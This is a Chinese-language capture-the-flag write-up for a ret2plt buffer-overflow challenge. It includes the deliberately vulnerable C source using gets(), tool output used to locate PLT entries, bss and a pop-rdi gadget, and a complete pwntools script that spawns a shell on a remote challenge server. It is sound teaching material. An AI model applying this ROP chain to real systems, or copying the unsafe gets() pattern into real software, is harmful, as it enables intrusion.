原始碼
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc chal.c -o chal -fno-stack-protector -no-pie
void gadget() {
__asm__(
"pop %rdi;"
"ret;"
);
}
void init_IOBUF(){
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
}
int main() {
init_IOBUF();
char buffer[8];
system("echo ret2plt!");
gets(buffer);
return 0;
}
解題
解題思路
這題檔案是動態連結,可以調用程式內plt,取得shell
確認保護機制
checksec --file=chal

尋找需要的資訊
查看有哪些可用的plt
objdump -d chal |grep @plt

4011ea: e8 71 fe ff ff call 401060 <system@plt>
4011fb: e8 70 fe ff ff call 401070 <gets@plt>
尋找可寫入範圍(bss)

0x404060: 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x404070: 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x404080: 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x404090: 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x4040a0: 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x4040b0: 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x4040c0: 0x0 0x0 0x0 0x0
計算需要的overflow大小
gdb ./chal
set follow-fork-mode parent # 跟父 process,不要跟進 shell
set detach-on-fork on
b main
run

0xdf58-0xdf48=0x10
尋找pop rdi位置
ROPgadget --binary chal --only "pop|ret"|grep rdi

0x000000000040117e : pop rdi ; ret
編寫payload
p=flat(
b'a'*0x10,
pop_rdi,0x404060,
0x401070,
pop_rdi,0x404060,
0x401060,
)
實際payload
from pwn import *
context.arch = 'amd64'
host='66.235.110.67'
port=20006
r=remote(host,port)
pop_rdi=0x40117e
get_plt=0x401070
system_plt=0x401060
bss=0x404060
ret=0x40101a
p=flat(
b'a'*0x10,
pop_rdi,bss,
get_plt,
pop_rdi,bss,
system_plt,
)
r.recvline()
r.sendline(p)
r.interactive()
flag



說些什麼吧!